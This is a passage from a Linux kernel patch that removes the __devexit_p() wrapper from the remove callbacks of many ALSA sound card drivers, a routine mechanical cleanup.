index bde6013..55fabcf 100644
--- a/sound/isa/cmi8328.c
+++ b/sound/isa/cmi8328.c
@@ -459,7 +459,7 @@ static int snd_cmi8328_resume(struct device *pdev, unsigned int n)
 
 static struct isa_driver snd_cmi8328_driver = {
 	.probe		= snd_cmi8328_probe,
-	.remove		= __devexit_p(snd_cmi8328_remove),
+	.remove		= snd_cmi8328_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_cmi8328_suspend,
 	.resume		= snd_cmi8328_resume,
diff --git a/sound/isa/cmi8330.c b/sound/isa/cmi8330.c
index 7bd5e33..ee534e1 100644
--- a/sound/isa/cmi8330.c
+++ b/sound/isa/cmi8330.c
@@ -673,7 +673,7 @@ static int snd_cmi8330_isa_resume(struct device *dev, unsigned int n)
 static struct isa_driver snd_cmi8330_driver = {
 	.match		= snd_cmi8330_isa_match,
 	.probe		= snd_cmi8330_isa_probe,
-	.remove		= __devexit_p(snd_cmi8330_isa_remove),
+	.remove		= snd_cmi8330_isa_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_cmi8330_isa_suspend,
 	.resume		= snd_cmi8330_isa_resume,
@@ -740,7 +740,7 @@ static struct pnp_card_driver cmi8330_pnpc_driver = {
 	.name = "cmi8330",
 	.id_table = snd_cmi8330_pnpids,
 	.probe = snd_cmi8330_pnp_detect,
-	.remove = __devexit_p(snd_cmi8330_pnp_remove),
+	.remove = snd_cmi8330_pnp_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_cmi8330_pnp_suspend,
 	.resume		= snd_cmi8330_pnp_resume,
diff --git a/sound/isa/cs423x/cs4231.c b/sound/isa/cs423x/cs4231.c
index 99dda45..0c67c37 100644
--- a/sound/isa/cs423x/cs4231.c
+++ b/sound/isa/cs423x/cs4231.c
@@ -180,7 +180,7 @@ static int snd_cs4231_resume(struct device *dev, unsigned int n)
 static struct isa_driver snd_cs4231_driver = {
 	.match		= snd_cs4231_match,
 	.probe		= snd_cs4231_probe,
-	.remove		= __devexit_p(snd_cs4231_remove),
+	.remove		= snd_cs4231_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_cs4231_suspend,
 	.resume		= snd_cs4231_resume,
diff --git a/sound/isa/cs423x/cs4236.c b/sound/isa/cs423x/cs4236.c
index 740c51a..f5fba07 100644
--- a/sound/isa/cs423x/cs4236.c
+++ b/sound/isa/cs423x/cs4236.c
@@ -540,7 +540,7 @@ static int snd_cs423x_isa_resume(struct device *dev, unsigned int n)
 static struct isa_driver cs423x_isa_driver = {
 	.match		= snd_cs423x_isa_match,
 	.probe		= snd_cs423x_isa_probe,
-	.remove		= __devexit_p(snd_cs423x_isa_remove),
+	.remove		= snd_cs423x_isa_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_cs423x_isa_suspend,
 	.resume		= snd_cs423x_isa_resume,
@@ -619,7 +619,7 @@ static struct pnp_driver cs423x_pnp_driver = {
 	.name = "cs423x-pnpbios",
 	.id_table = snd_cs423x_pnpbiosids,
 	.probe = snd_cs423x_pnpbios_detect,
-	.remove = __devexit_p(snd_cs423x_pnp_remove),
+	.remove = snd_cs423x_pnp_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_cs423x_pnp_suspend,
 	.resume		= snd_cs423x_pnp_resume,
@@ -682,7 +682,7 @@ static struct pnp_card_driver cs423x_pnpc_driver = {
 	.name = CS423X_ISAPNP_DRIVER,
 	.id_table = snd_cs423x_pnpids,
 	.probe = snd_cs423x_pnpc_detect,
-	.remove = __devexit_p(snd_cs423x_pnpc_remove),
+	.remove = snd_cs423x_pnpc_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_cs423x_pnpc_suspend,
 	.resume		= snd_cs423x_pnpc_resume,
diff --git a/sound/isa/es1688/es1688.c b/sound/isa/es1688/es1688.c
index b036e60..ffad710 100644
--- a/sound/isa/es1688/es1688.c
+++ b/sound/isa/es1688/es1688.c
@@ -220,7 +220,7 @@ static int __devexit snd_es1688_isa_remove(struct device *dev, unsigned int n)
 static struct isa_driver snd_es1688_driver = {
 	.match		= snd_es1688_match,
 	.probe		= snd_es1688_isa_probe,
-	.remove		= __devexit_p(snd_es1688_isa_remove),
+	.remove		= snd_es1688_isa_remove,
 #if 0	/* FIXME */
 	.suspend	= snd_es1688_suspend,
 	.resume		= snd_es1688_resume,
@@ -338,7 +338,7 @@ static struct pnp_card_driver es968_pnpc_driver = {
 	.name		= DEV_NAME " PnP",
 	.id_table	= snd_es968_pnpids,
 	.probe		= snd_es968_pnp_detect,
-	.remove		= __devexit_p(snd_es968_pnp_remove),
+	.remove		= snd_es968_pnp_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_es968_pnp_suspend,
 	.resume		= snd_es968_pnp_resume,
diff --git a/sound/isa/es18xx.c b/sound/isa/es18xx.c
index c20baaf..b491185 100644
--- a/sound/isa/es18xx.c
+++ b/sound/isa/es18xx.c
@@ -2257,7 +2257,7 @@ static int snd_es18xx_isa_resume(struct device *dev, unsigned int n)
 static struct isa_driver snd_es18xx_isa_driver = {
 	.match		= snd_es18xx_isa_match,
 	.probe		= snd_es18xx_isa_probe,
-	.remove		= __devexit_p(snd_es18xx_isa_remove),
+	.remove		= snd_es18xx_isa_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_es18xx_isa_suspend,
 	.resume		= snd_es18xx_isa_resume,
@@ -2323,7 +2323,7 @@ static struct pnp_driver es18xx_pnp_driver = {
 	.name = "es18xx-pnpbios",
 	.id_table = snd_audiodrive_pnpbiosids,
 	.probe = snd_audiodrive_pnp_detect,
-	.remove = __devexit_p(snd_audiodrive_pnp_remove),
+	.remove = snd_audiodrive_pnp_remove,
 #ifdef CONFIG_PM
 	.suspend = snd_audiodrive_pnp_suspend,
 	.resume = snd_audiodrive_pnp_resume,
@@ -2387,7 +2387,7 @@ static struct pnp_card_driver es18xx_pnpc_driver = {
 	.name = "es18xx",
 	.id_table = snd_audiodrive_pnpids,
 	.probe = snd_audiodrive_pnpc_detect,
-	.remove = __devexit_p(snd_audiodrive_pnpc_remove),
+	.remove = snd_audiodrive_pnpc_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_audiodrive_pnpc_suspend,
 	.resume		= snd_audiodrive_pnpc_resume,
diff --git a/sound/isa/galaxy/galaxy.c b/sound/isa/galaxy/galaxy.c
index 55e2078..1858535 100644
--- a/sound/isa/galaxy/galaxy.c
+++ b/sound/isa/galaxy/galaxy.c
@@ -630,7 +630,7 @@ static int __devexit snd_galaxy_remove(struct device *dev, unsigned int n)
 static struct isa_driver snd_galaxy_driver = {
 	.match		= snd_galaxy_match,
 	.probe		= snd_galaxy_probe,
-	.remove		= __devexit_p(snd_galaxy_remove),
+	.remove		= snd_galaxy_remove,
 
 	.driver		= {
 		.name	= DEV_NAME
diff --git a/sound/isa/gus/gusclassic.c b/sound/isa/gus/gusclassic.c
index bf63336..ec4bd7e 100644
--- a/sound/isa/gus/gusclassic.c
+++ b/sound/isa/gus/gusclassic.c
@@ -221,7 +221,7 @@ static int __devexit snd_gusclassic_remove(struct device *dev, unsigned int n)
 static struct isa_driver snd_gusclassic_driver = {
 	.match		= snd_gusclassic_match,
 	.probe		= snd_gusclassic_probe,
-	.remove		= __devexit_p(snd_gusclassic_remove),
+	.remove		= snd_gusclassic_remove,
 #if 0	/* FIXME */
 	.suspend	= snd_gusclassic_suspend,
 	.remove		= snd_gusclassic_remove,
diff --git a/sound/isa/gus/gusextreme.c b/sound/isa/gus/gusextreme.c
index bc10cc2..3d76215 100644
--- a/sound/isa/gus/gusextreme.c
+++ b/sound/isa/gus/gusextreme.c
@@ -349,7 +349,7 @@ static int __devexit snd_gusextreme_remove(struct device *dev, unsigned int n)
 static struct isa_driver snd_gusextreme_driver = {
 	.match		= snd_gusextreme_match,
 	.probe		= snd_gusextreme_probe,
-	.remove		= __devexit_p(snd_gusextreme_remove),
+	.remove		= snd_gusextreme_remove,
 #if 0	/* FIXME */
 	.suspend	= snd_gusextreme_suspend,
 	.resume		= snd_gusextreme_resume,
diff --git a/sound/isa/gus/gusmax.c b/sound/isa/gus/gusmax.c
index 41c3f44..fefd5ae 100644
--- a/sound/isa/gus/gusmax.c
+++ b/sound/isa/gus/gusmax.c
@@ -366,7 +366,7 @@ static int __devexit snd_gusmax_remove(struct device *devptr, unsigned int dev)
 static struct isa_driver snd_gusmax_driver = {
 	.match		= snd_gusmax_match,
 	.probe		= snd_gusmax_probe,
-	.remove		= __devexit_p(snd_gusmax_remove),
+	.remove		= snd_gusmax_remove,
 	/* FIXME: suspend/resume */
 	.driver		= {
 		.name	= DEV_NAME
diff --git a/sound/isa/gus/interwave.c b/sound/isa/gus/interwave.c
index 3fc8b66..c61a74c 100644
--- a/sound/isa/gus/interwave.c
+++ b/sound/isa/gus/interwave.c
@@ -856,7 +856,7 @@ static int __devexit snd_interwave_isa_remove(struct device *devptr, unsigned in
 static struct isa_driver snd_interwave_driver = {
 	.match		= snd_interwave_isa_match,
 	.probe		= snd_interwave_isa_probe,
-	.remove		= __devexit_p(snd_interwave_isa_remove),
+	.remove		= snd_interwave_isa_remove,
 	/* FIXME: suspend,resume */
 	.driver		= {
 		.name	= INTERWAVE_DRIVER
@@ -907,7 +907,7 @@ static struct pnp_card_driver interwave_pnpc_driver = {
 	.name = INTERWAVE_PNP_DRIVER,
 	.id_table = snd_interwave_pnpids,
 	.probe = snd_interwave_pnp_detect,
-	.remove = __devexit_p(snd_interwave_pnp_remove),
+	.remove = snd_interwave_pnp_remove,
 	/* FIXME: suspend,resume */
 };
 
diff --git a/sound/isa/msnd/msnd_pinnacle.c b/sound/isa/msnd/msnd_pinnacle.c
index 29cc8e1..93cafbe 100644
--- a/sound/isa/msnd/msnd_pinnacle.c
+++ b/sound/isa/msnd/msnd_pinnacle.c
@@ -1073,7 +1073,7 @@ static int __devexit snd_msnd_isa_remove(struct device *pdev, unsigned int dev)
 static struct isa_driver snd_msnd_driver = {
 	.match		= snd_msnd_isa_match,
 	.probe		= snd_msnd_isa_probe,
-	.remove		= __devexit_p(snd_msnd_isa_remove),
+	.remove		= snd_msnd_isa_remove,
 	/* FIXME: suspend, resume */
 	.driver		= {
 		.name	= DEV_NAME
@@ -1207,7 +1207,7 @@ static struct pnp_card_driver msnd_pnpc_driver = {
 	.name = "msnd_pinnacle",
 	.id_table = msnd_pnpids,
 	.probe = snd_msnd_pnp_detect,
-	.remove = __devexit_p(snd_msnd_pnp_remove),
+	.remove = snd_msnd_pnp_remove,
 };
 #endif /* CONFIG_PNP */
 
diff --git a/sound/isa/opl3sa2.c b/sound/isa/opl3sa2.c
index f6cc0b9..99855d5 100644
--- a/sound/isa/opl3sa2.c
+++ b/sound/isa/opl3sa2.c
@@ -775,7 +775,7 @@ static struct pnp_driver opl3sa2_pnp_driver = {
 	.name = "snd-opl3sa2-pnpbios",
 	.id_table = snd_opl3sa2_pnpbiosids,
 	.probe = snd_opl3sa2_pnp_detect,
-	.remove = __devexit_p(snd_opl3sa2_pnp_remove),
+	.remove = snd_opl3sa2_pnp_remove,
 #ifdef CONFIG_PM
 	.suspend = snd_opl3sa2_pnp_suspend,
 	.resume = snd_opl3sa2_pnp_resume,
@@ -842,7 +842,7 @@ static struct pnp_card_driver opl3sa2_pnpc_driver = {
 	.name = "snd-opl3sa2-cpnp",
 	.id_table = snd_opl3sa2_pnpids,
 	.probe = snd_opl3sa2_pnp_cdetect,
-	.remove = __devexit_p(snd_opl3sa2_pnp_cremove),
+	.remove = snd_opl3sa2_pnp_cremove,
 #ifdef CONFIG_PM
 	.suspend = snd_opl3sa2_pnp_csuspend,
 	.resume = snd_opl3sa2_pnp_cresume,
@@ -922,7 +922,7 @@ static int snd_opl3sa2_isa_resume(struct device *dev, unsigned int n)
 static struct isa_driver snd_opl3sa2_isa_driver = {
 	.match		= snd_opl3sa2_isa_match,
 	.probe		= snd_opl3sa2_isa_probe,
-	.remove		= __devexit_p(snd_opl3sa2_isa_remove),
+	.remove		= snd_opl3sa2_isa_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_opl3sa2_isa_suspend,
 	.resume		= snd_opl3sa2_isa_resume,
diff --git a/sound/isa/opti9xx/miro.c b/sound/isa/opti9xx/miro.c
index 4a7ff4e..cb8c930 100644
--- a/sound/isa/opti9xx/miro.c
+++ b/sound/isa/opti9xx/miro.c
@@ -1504,7 +1504,7 @@ static int __devexit snd_miro_isa_remove(struct device *devptr,
 static struct isa_driver snd_miro_driver = {
 	.match		= snd_miro_isa_match,
 	.probe		= snd_miro_isa_probe,
-	.remove		= __devexit_p(snd_miro_isa_remove),
+	.remove		= snd_miro_isa_remove,
 	/* FIXME: suspend/resume */
 	.driver		= {
 		.name	= DEV_NAME
@@ -1636,7 +1636,7 @@ static struct pnp_card_driver miro_pnpc_driver = {
 	.name		= "miro",
 	.id_table	= snd_miro_pnpids,
 	.probe		= snd_miro_pnp_probe,
-	.remove		= __devexit_p(snd_miro_pnp_remove),
+	.remove		= snd_miro_pnp_remove,
 };
 #endif
 
diff --git a/sound/isa/opti9xx/opti92x-ad1848.c b/sound/isa/opti9xx/opti92x-ad1848.c
index 2899c9f..72b1769 100644
--- a/sound/isa/opti9xx/opti92x-ad1848.c
+++ b/sound/isa/opti9xx/opti92x-ad1848.c
@@ -1083,7 +1083,7 @@ static int snd_opti9xx_isa_resume(struct device *dev, unsigned int n)
 static struct isa_driver snd_opti9xx_driver = {
 	.match		= snd_opti9xx_isa_match,
 	.probe		= snd_opti9xx_isa_probe,
-	.remove		= __devexit_p(snd_opti9xx_isa_remove),
+	.remove		= snd_opti9xx_isa_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_opti9xx_isa_suspend,
 	.resume		= snd_opti9xx_isa_resume,
@@ -1171,7 +1171,7 @@ static struct pnp_card_driver opti9xx_pnpc_driver = {
 	.name		= "opti9xx",
 	.id_table	= snd_opti9xx_pnpids,
 	.probe		= snd_opti9xx_pnp_probe,
-	.remove		= __devexit_p(snd_opti9xx_pnp_remove),
+	.remove		= snd_opti9xx_pnp_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_opti9xx_pnp_suspend,
 	.resume		= snd_opti9xx_pnp_resume,
diff --git a/sound/isa/sb/jazz16.c b/sound/isa/sb/jazz16.c
index 410758c..529f175 100644
--- a/sound/isa/sb/jazz16.c
+++ b/sound/isa/sb/jazz16.c
@@ -380,7 +380,7 @@ static int snd_jazz16_resume(struct device *pdev, unsigned int n)
 static struct isa_driver snd_jazz16_driver = {
 	.match		= snd_jazz16_match,
 	.probe		= snd_jazz16_probe,
-	.remove		= __devexit_p(snd_jazz16_remove),
+	.remove		= snd_jazz16_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_jazz16_suspend,
 	.resume		= snd_jazz16_resume,
diff --git a/sound/isa/sb/sb16.c b/sound/isa/sb/sb16.c
index 39b8eca..bb8a688 100644
--- a/sound/isa/sb/sb16.c
+++ b/sound/isa/sb/sb16.c
@@ -592,7 +592,7 @@ static int snd_sb16_isa_resume(struct device *dev, unsigned int n)
 static struct isa_driver snd_sb16_isa_driver = {
 	.match		= snd_sb16_isa_match,
 	.probe		= snd_sb16_isa_probe,
-	.remove		= __devexit_p(snd_sb16_isa_remove),
+	.remove		= snd_sb16_isa_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_sb16_isa_suspend,
 	.resume		= snd_sb16_isa_resume,
@@ -657,7 +657,7 @@ static struct pnp_card_driver sb16_pnpc_driver = {
 #endif
 	.id_table = snd_sb16_pnpids,
 	.probe = snd_sb16_pnp_detect,
-	.remove = __devexit_p(snd_sb16_pnp_remove),
+	.remove = snd_sb16_pnp_remove,
 #ifdef CONFIG_PM
 	.suspend = snd_sb16_pnp_suspend,
 	.resume = snd_sb16_pnp_resume,
diff --git a/sound/isa/sb/sb8.c b/sound/isa/sb/sb8.c
index ab5cebe..0cc9a9a 100644
--- a/sound/isa/sb/sb8.c
+++ b/sound/isa/sb/sb8.c
@@ -244,7 +244,7 @@ static int snd_sb8_resume(struct device *dev, unsigned int n)
 static struct isa_driver snd_sb8_driver = {
 	.match		= snd_sb8_match,
 	.probe		= snd_sb8_probe,
-	.remove		= __devexit_p(snd_sb8_remove),
+	.remove		= snd_sb8_remove,
 #ifdef CONFIG_PM
 	.suspend	= snd_sb8_suspend,
 	.resume		= snd_sb8_resume,
diff --git a/sound/isa/sc6000.c b/sound/isa/sc6000.c
index d97d0f3..57266de 100644
--- a/sound/isa/sc6000.c
+++ b/sound/isa/sc6000.c
@@ -706,7 +706,7 @@ static int __devexit snd_sc6000_remove(struct device *devptr, unsigned int dev)
 static struct isa_driver snd_sc6000_driver = {
 	.match		= snd_sc6000_match,
 	.probe		= snd_sc6000_probe,
-	.remove		= __devexit_p(snd_sc6000_remove),
+	.remove		= snd_sc6000_remove,
 	/* FIXME: suspend/resume */
 	.driver		= {
 		.name	= DRV_NAME,
diff --git a/sound/isa/sscape.c b/sound/isa/sscape.c
index 8490f59..eb8fe7f 100644
--- a/sound/isa/sscape.c
+++ b/sound/isa/sscape.c
@@ -1209,7 +1209,7 @@ static int __devexit snd_sscape_remove(struct device *devptr, unsigned int dev)
 static struct isa_driver snd_sscape_driver = {
 	.match		= snd_sscape_match,
 	.probe		= snd_sscape_probe,
-	.remove		= __devexit_p(snd_sscape_remove),
+	.remove		= snd_sscape_remove,
 	/* FIXME: suspend/resume */
 	.driver		= {
 		.name	= DEV_NAME
@@ -1321,7 +1321,7 @@ static struct pnp_card_driver sscape_pnpc_driver = {
 	.name = "sscape",
 	.id_table = sscape_pnpids,
 	.probe = sscape_pnp_detect,
-	.remove = __devexit_p(sscape_pnp_remove),
+	.remove = sscape_pnp_remove,
 };
 
 #endif /* CONFIG_PNP */
diff --git a/sound/isa/wavefront/wavefront.c b/sound/isa/wavefront/wavefront.c
index e0a7327..d700ca9 100644
--- a/sound/isa/wavefront/wavefront.c
+++ b/sound/isa/wavefront/wavefront.c
@@ -593,7 +593,7 @@ static int __devexit snd_wavefront_isa_remove(struct device *devptr,
 static struct isa_driver snd_wavefront_driver = {
 	.match		= snd_wavefront_isa_match,
 	.probe		= snd_wavefront_isa_probe,
-	.remove		= __devexit_p(snd_wavefront_isa_remove),
+	.remove		= snd_wavefront_isa_remove,
 	/* FIXME: suspend, resume */
 	.driver		= {
 		.name	= DEV_NAME
@@ -648,7 +648,7 @@ static struct pnp_card_driver wavefront_pnpc_driver = {
 	.name		= "wavefront",
 	.id_table	= snd_wavefront_pnpids,
 	.probe		= snd_wavefront_pnp_detect,
-	.remove		= __devexit_p(snd_wavefront_pnp_remove),
+	.remove		= snd_wavefront_pnp_remove,
 	/* FIXME: suspend,resume */
 };
 
diff --git a/sound/mips/hal2.c b/sound/mips/hal2.c
index 5f88d1f..0bd7fb5 100644
--- a/sound/mips/hal2.c
+++ b/sound/mips/hal2.c
@@ -928,7 +928,7 @@ static int __devexit hal2_remove(struct platform_device *pdev)
 
 static struct platform_driver hal2_driver = {
 	.probe	= hal2_probe,
-	.remove	= __devexit_p(hal2_remove),
+	.remove	= hal2_remove,
 	.driver = {
 		.name	= "sgihal2",
 		.owner	= THIS_MODULE,
diff --git a/sound/mips/sgio2audio.c b/sound/mips/sgio2audio.c
index ceaa593..b67d555 100644
--- a/sound/mips/sgio2audio.c
+++ b/sound/mips/sgio2audio.c
@@ -969,7 +969,7 @@ static int __devexit snd_sgio2audio_remove(struct platform_device *pdev)
 
 static struct platform_driver sgio2audio_driver = {
 	.probe	= snd_sgio2audio_probe,
-	.remove	= __devexit_p(snd_sgio2audio_remove),
+	.remove	= snd_sgio2audio_remove,
 	.driver = {
 		.name	= "sgio2audio",
 		.owner	= THIS_MODULE,
diff --git a/sound/oss/kahlua.c b/sound/oss/kahlua.c
index 52d06a3..f0836bc 100644
--- a/sound/oss/kahlua.c
+++ b/sound/oss/kahlua.c
@@ -210,7 +210,7 @@ static struct pci_driver kahlua_driver = {
 	.name		= "kahlua",
 	.id_table	= id_tbl,
 	.probe		= probe_one,
-	.remove		= __devexit_p(remove_one),
+	.remove		= remove_one,
 };
 
 
diff --git a/sound/parisc/harmony.c b/sound/parisc/harmony.c
index f47f9e2..41307cc 100644
--- a/sound/parisc/harmony.c
+++ b/sound/parisc/harmony.c
@@ -1024,7 +1024,7 @@ static struct parisc_driver snd_harmony_driver = {
 	.name = "harmony",
 	.id_table = snd_harmony_devtable,
 	.probe = snd_harmony_probe,
-	.remove = __devexit_p(snd_harmony_remove),
+	.remove = snd_harmony_remove,
 };
 
 static int __init 
diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
index e672ff4..b4dc050 100644
--- a/sound/pci/ad1889.c
+++ b/sound/pci/ad1889.c
@@ -1059,7 +1059,7 @@ static struct pci_driver ad1889_pci_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_ad1889_ids,
 	.probe = snd_ad1889_probe,
-	.remove = __devexit_p(snd_ad1889_remove),
+	.remove = snd_ad1889_remove,
 };
 
 module_pci_driver(ad1889_pci_driver);
diff --git a/sound/pci/ali5451/ali5451.c b/sound/pci/ali5451/ali5451.c
index c7e3c53..5550bfb 100644
--- a/sound/pci/ali5451/ali5451.c
+++ b/sound/pci/ali5451/ali5451.c
@@ -2305,7 +2305,7 @@ static struct pci_driver ali5451_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_ali_ids,
 	.probe = snd_ali_probe,
-	.remove = __devexit_p(snd_ali_remove),
+	.remove = snd_ali_remove,
 	.driver = {
 		.pm = ALI_PM_OPS,
 	},
diff --git a/sound/pci/als300.c b/sound/pci/als300.c
index 5af3cb6..4e7e625 100644
--- a/sound/pci/als300.c
+++ b/sound/pci/als300.c
@@ -867,7 +867,7 @@ static struct pci_driver als300_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_als300_ids,
 	.probe = snd_als300_probe,
-	.remove = __devexit_p(snd_als300_remove),
+	.remove = snd_als300_remove,
 	.driver = {
 		.pm = SND_ALS300_PM_OPS,
 	},
diff --git a/sound/pci/als4000.c b/sound/pci/als4000.c
index feb2a14..3e0461e 100644
--- a/sound/pci/als4000.c
+++ b/sound/pci/als4000.c
@@ -1046,7 +1046,7 @@ static struct pci_driver als4000_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_als4000_ids,
 	.probe = snd_card_als4000_probe,
-	.remove = __devexit_p(snd_card_als4000_remove),
+	.remove = snd_card_als4000_remove,
 	.driver = {
 		.pm = SND_ALS4000_PM_OPS,
 	},
diff --git a/sound/pci/asihpi/asihpi.c b/sound/pci/asihpi/asihpi.c
index eedc017..7924f05 100644
--- a/sound/pci/asihpi/asihpi.c
+++ b/sound/pci/asihpi/asihpi.c
@@ -2967,7 +2967,7 @@ static struct pci_driver driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = asihpi_pci_tbl,
 	.probe = snd_asihpi_probe,
-	.remove = __devexit_p(snd_asihpi_remove),
+	.remove = snd_asihpi_remove,
 #ifdef CONFIG_PM_SLEEP
 /*	.suspend = snd_asihpi_suspend,
 	.resume = snd_asihpi_resume, */
diff --git a/sound/pci/atiixp.c b/sound/pci/atiixp.c
index 368df8b..b281f2a 100644
--- a/sound/pci/atiixp.c
+++ b/sound/pci/atiixp.c
@@ -1720,7 +1720,7 @@ static struct pci_driver atiixp_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_atiixp_ids,
 	.probe = snd_atiixp_probe,
-	.remove = __devexit_p(snd_atiixp_remove),
+	.remove = snd_atiixp_remove,
 	.driver = {
 		.pm = SND_ATIIXP_PM_OPS,
 	},
diff --git a/sound/pci/atiixp_modem.c b/sound/pci/atiixp_modem.c
index 6fc03d9..95b1cd2 100644
--- a/sound/pci/atiixp_modem.c
+++ b/sound/pci/atiixp_modem.c
@@ -1341,7 +1341,7 @@ static struct pci_driver atiixp_modem_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_atiixp_ids,
 	.probe = snd_atiixp_probe,
-	.remove = __devexit_p(snd_atiixp_remove),
+	.remove = snd_atiixp_remove,
 	.driver = {
 		.pm = SND_ATIIXP_PM_OPS,
 	},
diff --git a/sound/pci/au88x0/au88x0.c b/sound/pci/au88x0/au88x0.c
index ffc376f..1b24880 100644
--- a/sound/pci/au88x0/au88x0.c
+++ b/sound/pci/au88x0/au88x0.c
@@ -379,7 +379,7 @@ static struct pci_driver vortex_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_vortex_ids,
 	.probe = snd_vortex_probe,
-	.remove = __devexit_p(snd_vortex_remove),
+	.remove = snd_vortex_remove,
 };
 
 module_pci_driver(vortex_driver);
diff --git a/sound/pci/aw2/aw2-alsa.c b/sound/pci/aw2/aw2-alsa.c
index 0f80474..9a9b920 100644
--- a/sound/pci/aw2/aw2-alsa.c
+++ b/sound/pci/aw2/aw2-alsa.c
@@ -173,7 +173,7 @@ static struct pci_driver aw2_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_aw2_ids,
 	.probe = snd_aw2_probe,
-	.remove = __devexit_p(snd_aw2_remove),
+	.remove = snd_aw2_remove,
 };
 
 module_pci_driver(aw2_driver);
diff --git a/sound/pci/azt3328.c b/sound/pci/azt3328.c
index c03b66b..8a48a69 100644
--- a/sound/pci/azt3328.c
+++ b/sound/pci/azt3328.c
@@ -2872,7 +2872,7 @@ static struct pci_driver azf3328_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_azf3328_ids,
 	.probe = snd_azf3328_probe,
-	.remove = __devexit_p(snd_azf3328_remove),
+	.remove = snd_azf3328_remove,
 	.driver = {
 		.pm = SND_AZF3328_PM_OPS,
 	},
diff --git a/sound/pci/bt87x.c b/sound/pci/bt87x.c
index b6a95ee..a0ee0c7 100644
--- a/sound/pci/bt87x.c
+++ b/sound/pci/bt87x.c
@@ -966,7 +966,7 @@ static struct pci_driver bt87x_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_bt87x_ids,
 	.probe = snd_bt87x_probe,
-	.remove = __devexit_p(snd_bt87x_remove),
+	.remove = snd_bt87x_remove,
 };
 
 module_pci_driver(bt87x_driver);
diff --git a/sound/pci/ca0106/ca0106_main.c b/sound/pci/ca0106/ca0106_main.c
index 65c5591..030c846 100644
--- a/sound/pci/ca0106/ca0106_main.c
+++ b/sound/pci/ca0106/ca0106_main.c
@@ -1971,7 +1971,7 @@ static struct pci_driver ca0106_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_ca0106_ids,
 	.probe = snd_ca0106_probe,
-	.remove = __devexit_p(snd_ca0106_remove),
+	.remove = snd_ca0106_remove,
 	.driver = {
 		.pm = SND_CA0106_PM_OPS,
 	},
diff --git a/sound/pci/cmipci.c b/sound/pci/cmipci.c
index 22122ff..2a69cc3 100644
--- a/sound/pci/cmipci.c
+++ b/sound/pci/cmipci.c
@@ -3415,7 +3415,7 @@ static struct pci_driver cmipci_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_cmipci_ids,
 	.probe = snd_cmipci_probe,
-	.remove = __devexit_p(snd_cmipci_remove),
+	.remove = snd_cmipci_remove,
 	.driver = {
 		.pm = SND_CMIPCI_PM_OPS,
 	},
diff --git a/sound/pci/cs4281.c b/sound/pci/cs4281.c
index 8e86ec0..0ecf782 100644
--- a/sound/pci/cs4281.c
+++ b/sound/pci/cs4281.c
@@ -2095,7 +2095,7 @@ static struct pci_driver cs4281_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_cs4281_ids,
 	.probe = snd_cs4281_probe,
-	.remove = __devexit_p(snd_cs4281_remove),
+	.remove = snd_cs4281_remove,
 	.driver = {
 		.pm = CS4281_PM_OPS,
 	},
diff --git a/sound/pci/cs46xx/cs46xx.c b/sound/pci/cs46xx/cs46xx.c
index 575bed0..e47fb8b 100644
--- a/sound/pci/cs46xx/cs46xx.c
+++ b/sound/pci/cs46xx/cs46xx.c
@@ -165,7 +165,7 @@ static struct pci_driver cs46xx_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_cs46xx_ids,
 	.probe = snd_card_cs46xx_probe,
-	.remove = __devexit_p(snd_card_cs46xx_remove),
+	.remove = snd_card_cs46xx_remove,
 #ifdef CONFIG_PM_SLEEP
 	.driver = {
 		.pm = &snd_cs46xx_pm,
diff --git a/sound/pci/cs5530.c b/sound/pci/cs5530.c
index d1cca28..ed68917 100644
--- a/sound/pci/cs5530.c
+++ b/sound/pci/cs5530.c
@@ -294,7 +294,7 @@ static struct pci_driver cs5530_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_cs5530_ids,
 	.probe = snd_cs5530_probe,
-	.remove = __devexit_p(snd_cs5530_remove),
+	.remove = snd_cs5530_remove,
 };
 
 module_pci_driver(cs5530_driver);
diff --git a/sound/pci/cs5535audio/cs5535audio.c b/sound/pci/cs5535audio/cs5535audio.c
index 4915efa..b3f25e4 100644
--- a/sound/pci/cs5535audio/cs5535audio.c
+++ b/sound/pci/cs5535audio/cs5535audio.c
@@ -398,7 +398,7 @@ static struct pci_driver cs5535audio_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = snd_cs5535audio_ids,
 	.probe = snd_cs5535audio_probe,
-	.remove = __devexit_p(snd_cs5535audio_remove),
+	.remove = snd_cs5535audio_remove,
 #ifdef CONFIG_PM_SLEEP
 	.driver = {
 		.pm = &snd_cs5535audio_pm,
diff --git a/sound/pci/ctxfi/xfi.c b/sound/pci/ctxfi/xfi.c
index 07c07d7..f5a311c 100644
--- a/sound/pci/ctxfi/xfi.c
+++ b/sound/pci/ctxfi/xfi.c
@@ -152,7 +152,7 @@ static struct pci_driver ct_driver = {
 	.name = KBUILD_MODNAME,
 	.id_table = ct_pci_dev_ids,
 	.probe = ct_card_probe,
